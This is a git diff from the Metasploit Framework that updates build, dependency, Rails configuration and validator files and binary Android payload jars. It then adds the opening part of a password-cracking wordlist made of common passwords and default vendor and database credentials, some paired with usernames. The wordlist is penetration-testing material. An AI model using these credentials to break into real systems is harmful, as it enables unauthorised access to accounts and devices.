diff --git a/.gitignore b/.gitignore index 0661f00c84..3f25443520 100644 --- a/.gitignore +++ b/.gitignore @@ -48,6 +48,9 @@ tags *.opensdf *.user +# Rails log directory +/log + # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release diff --git a/.rubocop.yml b/.rubocop.yml index a8a443fbd5..c9ba4d1bb3 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -1,18 +1,78 @@ -LineLength: +# This list was intially created by analyzing the last three months (51 +# modules) committed to Metasploit Framework. Many, many older modules +# will have offenses, but this should at least provide a baseline for +# new modules. +# +# Updates to this file should include a 'Description' parameter for any +# explaination needed. + +# inherit_from: .rubocop_todo.yml + +Style/ClassLength: + Description: 'Most Metasploit modules are quite large. This is ok.' + Enabled: true + Exclude: + - 'modules/**/*' + +Style/Documentation: + Enabled: true + Description: 'Most Metasploit modules do not have class documentation.' + Exclude: + - 'modules/**/*' + +Style/Encoding: + Enabled: true + Description: 'We prefer binary to UTF-8.' + EnforcedStyle: 'when_needed' + +Style/LineLength: + Description: >- + Metasploit modules often pattern match against very + long strings when identifying targets. Enabled: true Max: 180 -MethodLength: +Style/MethodLength: Enabled: true - Max: 100 + Description: >- + While the style guide suggests 10 lines, exploit definitions + often exceed 200 lines. + Max: 300 -Style/ClassLength: - Exclude: - # Most modules are quite large and all contained in one class. This is OK. - - 'modules/**/*' +# Basically everything in metasploit needs binary encoding, not UTF-8. +# Disable this here and enforce it through msftidy +Style/Encoding: + Enabled: false Style/NumericLiterals: Enabled: false + Description: 'This often hurts readability for exploit-ish code.' + +Style/SpaceInsideBrackets: + Enabled: false + Description: 'Until module template are final, most modules will fail this.' + +Style/StringLiterals: + Enabled: false + Description: 'Single vs double quote fights are largely unproductive.' + +Style/WordArray: + Enabled: false + Description: 'Metasploit prefers consistent use of []' + +Style/RedundantBegin: + Exclude: + # this pattern is very common and somewhat unavoidable + # def run_host(ip) + # begin + # ... + # rescue ... + # ... + # ensure + # disconnect + # end + # end + - 'modules/**/*' Documentation: Exclude: diff --git a/.travis.yml b/.travis.yml index 0b946b2c5c..5775b5349c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,3 +1,6 @@ +env: + - RAKE_TASK=cucumber + - RAKE_TASK=spec language: ruby before_install: - rake --version @@ -14,6 +17,7 @@ before_script: - bundle exec rake --version - bundle exec rake db:create - bundle exec rake db:migrate +script: "bundle exec rake $RAKE_TASK" rvm: #- '1.8.7' diff --git a/.yardopts b/.yardopts index eb3cff1cc2..b58b0bda2b 100644 --- a/.yardopts +++ b/.yardopts @@ -3,6 +3,8 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE +app/**/*.rb lib/msf/**/*.rb +lib/metasploit/**/*.rb lib/rex/**/*.rb plugins/**/*.rb diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 6de7c3cf36..ec572a60b9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -33,7 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f ## Code Contributions * **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). -* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution +* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying. * **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. * **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. diff --git a/Gemfile b/Gemfile index a5a71b8d46..56f8a7a150 100755 --- a/Gemfile +++ b/Gemfile @@ -1,68 +1,57 @@ source 'https://rubygems.org' - -# Need 3+ for ActiveSupport::Concern -gem 'activesupport', '>= 3.0.0', '< 4.0.0' -# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) -gem 'bcrypt' -# Needed for some admin modules (scrutinizer_add_user.rb) -gem 'json' -# Needed for Meterpreter on Windows, soon others. -gem 'meterpreter_bins', '0.0.6' -# Needed by msfgui and other rpc components -gem 'msgpack' -# Needed by anemone crawler -gem 'nokogiri' -# Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.9' -# Needed by JSObfu -gem 'rkelly-remix', '0.0.6' -# Needed by anemone crawler -gem 'robots' -# Needed for some post modules -gem 'sqlite3' +# Add default group gems to `metasploit-framework.gemspec`: +# spec.add_runtime_dependency '', [] +gemspec group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' + # Metasploit::Credential database models + gem 'metasploit-credential', '>= 0.9.0' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '0.17.0' + gem 'metasploit_data_models', '~> 0.19' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end +group :development do + # Markdown formatting for yard + gem 'redcarpet' + # generating documentation + gem 'yard' + # for development and testing purposes + gem 'pry' +end + +group :development, :test do + # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the + # 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # automatically include factories from spec/factories + gem 'factory_girl_rails' + # Make rspec output shorter and more useful + gem 'fivemat', '1.2.1' + # running documentation generation tasks and rspec tasks + gem 'rake', '>= 10.0.0' + # testing framework + gem 'rspec', '>= 2.12', '< 3.0.0' + # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the + # environment is development + gem 'rspec-rails' , '>= 2.12', '< 3.0.0' +end + group :pcap do gem 'network_interface', '~> 0.0.1' # For sniffer and raw socket modules gem 'pcaprub' end -group :development do - # Style/sanity checking Ruby code - gem 'rubocop' - # Markdown formatting for yard - gem 'redcarpet' - # generating documentation - gem 'yard' -end - -group :development, :test do - # supplies factories for producing model instance for specs - # Version 4.1.0 or newer is needed to support generate calls without the - # 'FactoryGirl.' in factory definitions syntax. - gem 'factory_girl', '>= 4.1.0' - # Make rspec output shorter and more useful - gem 'fivemat', '1.2.1' - # running documentation generation tasks and rspec tasks - gem 'rake', '>= 10.0.0' -end - group :test do - # Removes records from database created during tests. Can't use rspec-rails' - # transactional fixtures because multiple connections are in use so - # transactions won't work. - gem 'database_cleaner' - # testing framework - gem 'rspec', '>= 2.12' + # cucumber extension for testing command line applications, like msfconsole + gem 'aruba' + # cucumber + automatic database cleaning with database_cleaner + gem 'cucumber-rails' gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. diff --git a/Gemfile.local.example b/Gemfile.local.example index 9788ec95dc..1707e69605 100644 --- a/Gemfile.local.example +++ b/Gemfile.local.example @@ -27,8 +27,6 @@ end # Create a custom group group :local do - # Use pry to help view and interact with objects in the framework - gem 'pry', '~> 0.9' # Use pry-debugger to step through code during development gem 'pry-debugger', '~> 0.2' # Add the lab gem so that the 'lab' plugin will work again diff --git a/Gemfile.lock b/Gemfile.lock index 0ae4dcf18e..8efa05d22c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,105 +1,206 @@ +PATH + remote: . + specs: + metasploit-framework (4.10.1.pre.dev) + actionpack (< 4.0.0) + activesupport (>= 3.0.0, < 4.0.0) + bcrypt + json + metasploit-model (~> 0.26.1) + meterpreter_bins (= 0.0.7) + msgpack + nokogiri + packetfu (= 1.1.9) + railties + rkelly-remix (= 0.0.6) + robots + rubyzip (~> 1.1) + sqlite3 + tzinfo + GEM remote: https://rubygems.org/ specs: - activemodel (3.2.14) - activesupport (= 3.2.14) + actionpack (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) builder (~> 3.0.0) - activerecord (3.2.14) - activemodel (= 3.2.14) - activesupport (= 3.2.14) + erubis (~> 2.7.0) + journey (~> 1.0.4) + rack (~> 1.4.5) + rack-cache (~> 1.2) + rack-test (~> 0.6.1) + sprockets (~> 2.2.1) + activemodel (3.2.19) + activesupport (= 3.2.19) + builder (~> 3.0.0) + activerecord (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.14) + activesupport (3.2.19) i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) - arel (3.0.2) - ast (2.0.0) + arel (3.0.3) + arel-helpers (2.0.1) + activerecord (>= 3.1.0, < 5) + aruba (0.6.1) + childprocess (>= 0.3.6) + cucumber (>= 1.1.1) + rspec-expectations (>= 2.7.0) bcrypt (3.1.7) builder (3.0.4) - database_cleaner (1.1.1) - diff-lcs (1.2.4) - factory_girl (4.2.0) + capybara (2.4.1) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + xpath (~> 2.0) + childprocess (0.5.3) + ffi (~> 1.0, >= 1.0.11) + coderay (1.1.0) + cucumber (1.2.1) + builder (>= 2.1.2) + diff-lcs (>= 1.1.3) + gherkin (~> 2.11.0) + json (>= 1.4.6) + cucumber-rails (1.3.0) + capybara (>= 1.1.2) + cucumber (>= 1.1.8) + nokogiri (>= 1.5.0) + diff-lcs (1.2.5) + erubis (2.7.0) + factory_girl (4.4.0) activesupport (>= 3.0.0) + factory_girl_rails (4.4.1) + factory_girl (~> 4.4.0) + railties (>= 3.0.0) + ffi (1.9.3) fivemat (1.2.1) - i18n (0.6.5) - json (1.8.0) - metasploit_data_models (0.17.0) - activerecord (>= 3.2.13) - activesupport + gherkin (2.11.6) + json (>= 1.7.6) + hike (1.2.3) + i18n (0.6.11) + journey (1.0.4) + json (1.8.1) + metasploit-concern (0.1.1) + activesupport (~> 3.0, >= 3.0.0) + metasploit-credential (0.9.0) + metasploit-concern (~> 0.1.0) + metasploit-model (~> 0.26.1) + metasploit_data_models (~> 0.19.4) pg - meterpreter_bins (0.0.6) - mini_portile (0.5.1) - msgpack (0.5.5) + rubyntlm + rubyzip (~> 1.1) + metasploit-model (0.26.1) + activesupport + metasploit_data_models (0.19.4) + activerecord (>= 3.2.13, < 4.0.0) + activesupport + arel-helpers + metasploit-concern (~> 0.1.0) + metasploit-model (~> 0.26.1) + pg + meterpreter_bins (0.0.7) + method_source (0.8.2) + mime-types (2.3) + mini_portile (0.6.0) + msgpack (0.5.8) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.0) - mini_portile (~> 0.5.0) + nokogiri (1.6.3.1) + mini_portile (= 0.6.0) packetfu (1.1.9) - parser (2.1.9) - ast (>= 1.1, < 3.0) - slop (~> 3.4, >= 3.4.5) pcaprub (0.11.3) - pg (0.16.0) - powerpack (0.0.9) - rainbow (2.0.0) - rake (10.1.0) - redcarpet (3.0.0) + pg (0.17.1) + pry (0.10.0) + coderay (~> 1.1.0) + method_source (~> 0.8.1) + slop (~> 3.4) + rack (1.4.5) + rack-cache (1.2) + rack (>= 0.4) + rack-ssl (1.3.4) + rack + rack-test (0.6.2) + rack (>= 1.0) + railties (3.2.19) + actionpack (= 3.2.19) + activesupport (= 3.2.19) + rack-ssl (~> 1.3.2) + rake (>= 0.8.7) + rdoc (~> 3.4) + thor (>= 0.14.6, < 2.0) + rake (10.3.2) + rdoc (3.12.2) + json (~> 1.4) + redcarpet (3.1.2) rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.14.1) - rspec-core (~> 2.14.0) - rspec-expectations (~> 2.14.0) - rspec-mocks (~> 2.14.0) - rspec-core (2.14.5) - rspec-expectations (2.14.2) + rspec (2.99.0) + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rspec-collection_matchers (1.0.0) + rspec-expectations (>= 2.99.0.beta1) + rspec-core (2.99.1) + rspec-expectations (2.99.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.14.3) - rubocop (0.23.0) - json (>= 1.7.7, < 2) - parser (~> 2.1.9) - powerpack (~> 0.0.6) - rainbow (>= 1.99.1, < 3.0) - ruby-progressbar (~> 1.4) - ruby-progressbar (1.5.1) - shoulda-matchers (2.3.0) - activesupport (>= 3.0.0) + rspec-mocks (2.99.2) + rspec-rails (2.99.0) + actionpack (>= 3.0) + activemodel (>= 3.0) + activesupport (>= 3.0) + railties (>= 3.0) + rspec-collection_matchers + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rubyntlm (0.4.0) + rubyzip (1.1.6) + shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - slop (3.5.0) + slop (3.6.0) + sprockets (2.2.2) + hike (~> 1.2) + multi_json (~> 1.0) + rack (~> 1.0) + tilt (~> 1.1, != 1.3.0) sqlite3 (1.3.9) - timecop (0.6.3) - tzinfo (0.3.37) - yard (0.8.7) + thor (0.19.1) + tilt (1.4.1) + timecop (0.7.1) + tzinfo (0.3.40) + xpath (2.0.0) + nokogiri (~> 1.3) + yard (0.8.7.4) PLATFORMS ruby DEPENDENCIES activerecord (>= 3.0.0, < 4.0.0) - activesupport (>= 3.0.0, < 4.0.0) - bcrypt - database_cleaner + aruba + cucumber-rails factory_girl (>= 4.1.0) + factory_girl_rails fivemat (= 1.2.1) - json - metasploit_data_models (= 0.17.0) - meterpreter_bins (= 0.0.6) - msgpack + metasploit-credential (>= 0.9.0) + metasploit-framework! + metasploit_data_models (~> 0.19) network_interface (~> 0.0.1) - nokogiri - packetfu (= 1.1.9) pcaprub pg (>= 0.11) + pry rake (>= 10.0.0) redcarpet - rkelly-remix (= 0.0.6) - robots - rspec (>= 2.12) - rubocop + rspec (>= 2.12, < 3.0.0) + rspec-rails (>= 2.12, < 3.0.0) shoulda-matchers simplecov (= 0.5.4) - sqlite3 timecop yard diff --git a/Rakefile b/Rakefile index 749f886717..232a7351b2 100644 --- a/Rakefile +++ b/Rakefile @@ -1,81 +1,11 @@ -require 'bundler/setup' - -pathname = Pathname.new(__FILE__) -root = pathname.parent - -# add metasploit-framework/lib to load paths so rake files can just require -# files normally without having to use __FILE__ and recalculating root and the -# path to lib -lib_pathname = root.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) +#!/usr/bin/env rake +require File.expand_path('../config/application', __FILE__) +require 'metasploit/framework/require' +# @note must be before `Metasploit::Framework::Application.load_tasks` # -# load rake files like a rails engine -# +# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if +# the user installs with `bundle install --without db` +Metasploit::Framework::Require.optionally_active_record_railtie -rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path - -Dir.glob(rakefile_glob) do |rakefile| - # Skip database tasks, will load them later if MDM is present - next if rakefile =~ /database\.rake$/ - load rakefile -end - -print_without = false - -begin - require 'rspec/core/rake_task' -rescue LoadError - puts "rspec not in bundle, so can't set up spec tasks. " \ - "To run specs ensure to install the development and test groups." - - print_without = true -else - RSpec::Core::RakeTask.new(:spec => 'db:test:prepare') - - task :default => :spec -end - -# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if -# YARD is not defined when yard.rake is loaded. -begin - require 'yard' -rescue LoadError - puts "yard not in bundle, so can't set up yard tasks. " \ - "To generate documentation ensure to install the development group." - - print_without = true -end - -begin - require 'metasploit_data_models' -rescue LoadError - puts "metasploit_data_models not in bundle, so can't set up db tasks. " \ - "To run database tasks, ensure to install the db bundler group." - - print_without = true -else - load 'lib/tasks/database.rake' - metasploit_data_models_task_glob = MetasploitDataModels.root.join( - 'lib', - 'tasks', - '**', - '*.rake' - ).to_s - # include tasks from metasplioit_data_models, such as `rake yard`. - # metasploit-framework specific yard options are in .yardopts - Dir.glob(metasploit_data_models_task_glob) do |path| - load path - end -end - - - -if print_without - puts "Bundle currently installed " \ - "'--without #{Bundler.settings.without.join(' ')}'." - puts "To clear the without option do `bundle install --without ''` " \ - "(the --without flag with an empty string) or " \ - "`rm -rf .bundle` to remove the .bundle/config manually and " \ - "then `bundle install`" -end +Metasploit::Framework::Application.load_tasks diff --git a/app/concerns/metasploit/credential/core/to_credential.rb b/app/concerns/metasploit/credential/core/to_credential.rb new file mode 100644 index 0000000000..bfa804f1cb --- /dev/null +++ b/app/concerns/metasploit/credential/core/to_credential.rb @@ -0,0 +1,23 @@ +# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under +# {BruteForce::Reuse}. +require 'metasploit/framework/credential' + +module Metasploit::Credential::Core::ToCredential + extend ActiveSupport::Concern + + included do + + def to_credential + Metasploit::Framework::Credential.new( + public: public.try(:username), + private: private.try(:data), + private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym), + realm: realm.try(:value), + realm_key: realm.try(:key), + parent: self + ) + end + + end + +end diff --git a/app/validators/metasploit.rb b/app/validators/metasploit.rb new file mode 100644 index 0000000000..4733b4b1ed --- /dev/null +++ b/app/validators/metasploit.rb @@ -0,0 +1,2 @@ +require 'metasploit/framework/file_path_validator' +require 'metasploit/framework/executable_path_validator' \ No newline at end of file diff --git a/app/validators/metasploit/framework/executable_path_validator.rb b/app/validators/metasploit/framework/executable_path_validator.rb new file mode 100644 index 0000000000..ce5450054d --- /dev/null +++ b/app/validators/metasploit/framework/executable_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is an executable file. + class ExecutablePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.executable? value + record.errors[attribute] << (options[:message] || "is not a valid path to an executable file") + end + end + end + end +end + diff --git a/app/validators/metasploit/framework/file_path_validator.rb b/app/validators/metasploit/framework/file_path_validator.rb new file mode 100644 index 0000000000..4b1f5381b1 --- /dev/null +++ b/app/validators/metasploit/framework/file_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is a regular file. + class FilePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.file? value + record.errors[attribute] << (options[:message] || "is not a valid path to a regular file") + end + end + end + end +end + diff --git a/config/application.rb b/config/application.rb new file mode 100644 index 0000000000..49657b4a04 --- /dev/null +++ b/config/application.rb @@ -0,0 +1,42 @@ +require 'rails' +require File.expand_path('../boot', __FILE__) + +all_environments = [ + :development, + :production, + :test +] + +Bundler.require( + *Rails.groups( + db: all_environments, + pcap: all_environments + ) +) + +# +# Railties +# + +# For compatibility with jquery-rails (and other engines that need action_view) in pro +require 'action_view/railtie' + +# +# Project +# + +require 'metasploit/framework/common_engine' +require 'metasploit/framework/database' + +module Metasploit + module Framework + class Application < Rails::Application + include Metasploit::Framework::CommonEngine + + config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] + end + end +end + +# Silence warnings about this defaulting to true +I18n.enforce_available_locales = true diff --git a/config/boot.rb b/config/boot.rb new file mode 100644 index 0000000000..d1c7a63765 --- /dev/null +++ b/config/boot.rb @@ -0,0 +1,39 @@ +require 'pathname' +require 'rubygems' + +GEMFILE_EXTENSIONS = [ + '.local', + '' +] + +msfenv_real_pathname = Pathname.new(__FILE__).realpath +root = msfenv_real_pathname.parent.parent + +unless ENV['BUNDLE_GEMFILE'] + require 'pathname' + + GEMFILE_EXTENSIONS.each do |extension| + extension_pathname = root.join("Gemfile#{extension}") + + if extension_pathname.readable? + ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path + break + end + end +end + +begin + require 'bundler' +rescue LoadError + $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" + $stderr.puts " $ gem install bundler" + exit(0) +end + +Bundler.setup + +lib_path = root.join('lib').to_path + +unless $LOAD_PATH.include? lib_path + $LOAD_PATH.unshift lib_path +end diff --git a/config/cucumber.yml b/config/cucumber.yml new file mode 100644 index 0000000000..19b288df9d --- /dev/null +++ b/config/cucumber.yml @@ -0,0 +1,8 @@ +<% +rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : "" +rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}" +std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip" +%> +default: <%= std_opts %> features +wip: --tags @wip:3 --wip features +rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 0000000000..4aa34124b9 --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Metasploit::Framework::Application.initialize! diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 57e86cd85b..8671dfed52 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 03f6c44d28..0ef9aa31f6 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 35e3ddf6b5..2750ad1f42 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 6803307a5f..bbb5fa120e 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 5fd680fa8f..5eed565220 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/john/wordlists/common_roots.txt b/data/john/wordlists/common_roots.txt new file mode 100644 index 0000000000..a2f113b3b1 --- /dev/null +++ b/data/john/wordlists/common_roots.txt @@ -0,0 +1,4724 @@ + +!1qwerty +!@#QWE123qwe +!Q2w#E4r +!Q2w3e4r +!QAZ2wsx +!QAZ2wsx#EDC4rfv +!QAZ@WSX3edc4rfv +!admin +!ishtar +!manage +!qaz@wsx +!qazXsw2 +!qwe123 +!root +$SRV +$chwarzepumpe +$rfmngr$ +$secure$ +(random +(unknown) +* +*3noguru +*password +-------- +0 +00 +000 +0000 +00000 +000000 +0000000 +00000000 +0000000000 +007007 +00850085 +010101 +010203 +012012 +012345 +0123456 +0123456789 +012465 +0392a0 +04051995 +0407056 +06061977 +06071992 +080808 +082208 +09090 +098765 +0987654321 +0P3N +0RACLE +0RACLE38 +0RACLE39 +0RACLE8 +0RACLE8I +0RACLE9 +0okmnji9 +1 +10023 +101010 +10101010 +10111011 +10118 +10135 +10143 +10144 +102030 +1020304050 +1064 +11 +111 +1111 +11111 +111111 +1111111 +11111111 +1111111111 +11112222 +1111aa +111222 +112233 +11223344 +116572 +12 +1212 +121212 +12121212 +12201220 +123 +123.com +123123 +123123123 +123132123 +123258 +123321 +1234 +12341 +12341234 +123412345 +12345 +123454321 +123456 +1234567 +12345678 +123456789 +1234567890 +12345678900987654321 +1234567890987654321 +1234567890qwertyuiop +12345678910 +1234567898 +12345678987 +123456789876 +1234567898765 +12345678987654 +123456789876543 +1234567898765432 +12345678987654321 +1234567899 +12345678998 +123456789987 +1234567899876 +12345678998765 +123456789987654 +1234567899876543 +12345678998765432 +123456789987654321 +12345678abc +123456a +1234ABCD +1234Qwer +1234admin +1234qwer! +1234qwer` +123654 +123654789 +123789 +123abc +123cztery +123mudar +123qwe +123qwe!@# +123qweASD +123qweasdzxc +123qwerty +123zxc123 +124578 +125401 +12qw!@QW +12qw34er +12qwaszx +130590 +1313 +131313 +1322222 +1340hd +134679 +14111982 +141414 +142536 +143143 +14344 +1435254 +1456 +146688 +146890 +147147 +147258 +147258369 +147852 +147852369 +147896325 +1502 +151515 +1548644 +159357 +159357** +159753 +159753456 +161616 +1660359 +166816 +17161716 +171717 +17201720 +17841784 +18140815 +181818 +187cop +19491949 +19501950 +19511951 +1969 +19750407 +198624 +1986673 +1988 +19920706 +1997 +1a2s3d4f +1keeper +1lkjhgfdsa +1q2w3e +1q2w3e4R +1q2w3e4r +1q2w3e4r.. +1q2w3e4r5t +1q2w3e4r5t6y +1qa@WS3ed +1qaz!QAZ +1qaz"WSX +1qaz0okm +1qaz2wsx +1qaz2wsx3edc +1qaz@WSX +1qazcde3 +1qazxcvb +1qazxsw2 +1qsx2waz +1qsx2wdc +2 +2000 +2010 +201036 +20112011 +20132013 +202020 +20552055 +20562056 +20572057 +20682068 +2071184 +20742074 +21 +21101981 +2112 +21121477 +212121 +21241036 +22 +22071979 +222101 +2222 +22222 +222222 +22222222 +22242224 +225225 +23041979 +23051979 +232323 +23712371 +237723 +23skidoo +24041975 +240653C9467E45 +242424 +24343 +246810 +2468369 +24Banc81 +2501 +2505463 +252525 +256256 +2580 +2594561 +266344 +2718281828 +282828 +29082908 +2WSXcder +2bornot2b +2brnot2b +2cute4u +2keeper +2read +3 +3098z +311147 +31994 +321 +3333 +333333 +33333333 +3425235 +343guiltyspark +3477 +3800326 +38483848 +3Com +3ascotel +3ep5w2u +3l3ctr1c +3stones +3ware +4 +420420 +43046721 +4321 +4444 +44444 +444444 +44444444 +456 +456123 +456789 +4636421 +493749 +4Dgifts +4changes +4getme2 +4rfv$RFV +4rfv%TGB +4rfvbhu8 +4tas +4tugboat +5 +50cent +5150 +5201314 +54321 +545981 +5555 +55555 +555555 +55555555 +5583134 +56565656 +5678 +56789 +570912 +5777364 +57gbzb +5832277 +584620 +589589 +5897 +589721 +6 +60020 +6071992 +6213744 +643558 +654321 +657 +666001 +6666 +666666 +66666666 +6922374 +6969 +696969 +69696969 +7 +735841 +741852 +741852963 +749174 +753951 +7654321 +7772000 +7777 +777777 +7777777 +77777777 +788111 +789456 +789456123 +8 +8111 +8253 +832531 +8429 +852456 +8675309 +874365 +87654321 +8888 +888888 +88888888 +8RttoTriz +9 +9225481 +951753 +963258 +9641 +987654 +987654321 +9876543210 +9999 +99999 +999999 +99999999 +999999999 +9ijn7ygv +?award +@WSX1qaz +A.M.I +ABCD +ACCESS +ACCORD +ADLDEMO +ADMIN +ADMIN welcome +ADMINISTRATOR +ADSUSER ch4ngeme +ADS_AGENT ch4ngeme +ADTRAN +AIROPLANE +ALLIN1 +ALLIN1MAIL +ALLINONE +AM +AMI +AMI!SW +AMI.KEY +AMI.KEZ +AMI?SW +AMIAMI +AMIDECOD +AMIPSWD +AMISETUP +AMI_SW +AMI~ +ANS#150 +ANYCOM +AP +APC +APPS +APPS_MRC +APPUSER +AQ +AQDEMO +AQJAVA +AQUSER +AR#Admin# +ARCHIVIST +AUDIOUSER +AWARD +AWARD?SW +AWARD_PW +AWARD_SW +Admin +Admin1 +Admin123 +Admin@123 +Administrative +Administrator +Advance +Airaya +AitbISP4eCiG +Aloysius +Any +Asante +Ascend +Asd123 +Asdfg123 +Aurora01 +Avalanche +Award +BACKUP +BASE +BATCH +BC4J +BIGO +BIOS +BIOSPASS +BRIDGE +BRIO_ADMIN +Babylon +Barricade +Berman +Biostar +Boromir1 +C0de +CALVIN +CAROLIAN +CATALOG +CCC +CDEMO82 +CDEMOCOR +CDEMORID +CDEMOUCB +CENTRA +CHANGE_ON_INSTALL +CHEY_ARCHSVR +CIDS +CIS +CISCO +CISINFO +CISSUS +CLERK +CLOTH +CMOSPWD +CMSBATCH +CNAS +COGNOS +COMPANY +COMPAQ +COMPIERE +CONCAT +CONV +CR52401 +CSMIG +CTB_ADMIN sap123 +CTXDEMO +CTXSYS +CTX_123 +Cable-docsis +Chester1 +Chocolate19 +Christmas +Cisco +Col2ogro2 +Compaq +Compleri +Congress +Craftr4 +Crocodile1 +Crystal +Crystal0! +D-Link +DBDCCIC +DBSNMP +DCL +DDIC 19920706 +DDIC Welcome01 +DECMAIL +DECNET +DEFAULT +DEMO +DEMO8 +DEMO9 +DES +DEV2000_DEMOS +DEVELOPER ch4ngeme +DIGITAL +DIP +DISC +DISCOVERER_ADMIN +DSGATEWAY +DSL +DSSYS +D_SYSPW +D_SYSTPW +Daewuu +Daytec +Dell +Dragonsoul +EARLYWATCH SUPPORT +EJSADMIN +EMP +ESSEX +ESTORE +EVENT +EXFSYS +Ektron +Everything +Exabyte +FAX +FAXUSER +FAXWORKS +FIELD +FIELD.SUPPORT +FINANCE +FND +FNDPUB +FOOBAR +FORCE +FORSE +Fireport +Flamenco +GATEWAY +GL +GPFD +GPLD +GUEST +GUESTGUE +GUESTGUEST +GWrv +Gateway +Geardog +George123 +GlobalAdmin +Guest +HARRIS +HCPARK +HELGA-S +HELP +HELPDESK +HEWITT +HLT +HLW +HOST +HP +HPDESK +HPLASER +HPOFFICE +HPONLY +HPP187 +HPP189 +HPP196 +HPWORD +HR +HTTP +Haemorrhage +Hamster +Helpdesk +IBM +ILMI +IMAGEUSER +IMEDIA +INFO +INGRES +INSTANCE +INTERNAT +INTX3 +INVALID +IP +IPMI +ISPMODE +IS_$hostname +ITF3000 +ImageFolio +Impatiens +Insecure +Intel +Intermec +Israel123 +J2EE_ADMIN ch4ngeme +JDE +JETSPEED +JMUSER +Joel1234 +KNIGHT +Kia123 +Kitz +L2LDEMO +LASER +LASERWRITER +LBACSYS +LINK +LOTUS +LR-ISDN +LRISDN +Lasvegas1 +LdapPassword_1 +Letmein1 +Letmein2 +Local +LonDon +Lund +M +M1cha3l +MAIL +MAILER +MAINT +MANAG3R +MANAGER +MANAGER.SYS +MASTER +MBIU0 +MBMANAGER +MBWATCH +MCUrv +MCUser1 +MDDEMO +MDSYS +MFG +MGR +MGR.SYS +MGWUSER +MIGRATE +MILLER +MKO)9ijn +MMO2 +MOREAU +MPE +MSHOME +MServer +MTRPW +MTSSYS +MTS_PASSWORD +MUMBLEFRATZ +MXAGENT +MagiMFP +Manager +Master +Mau'dib 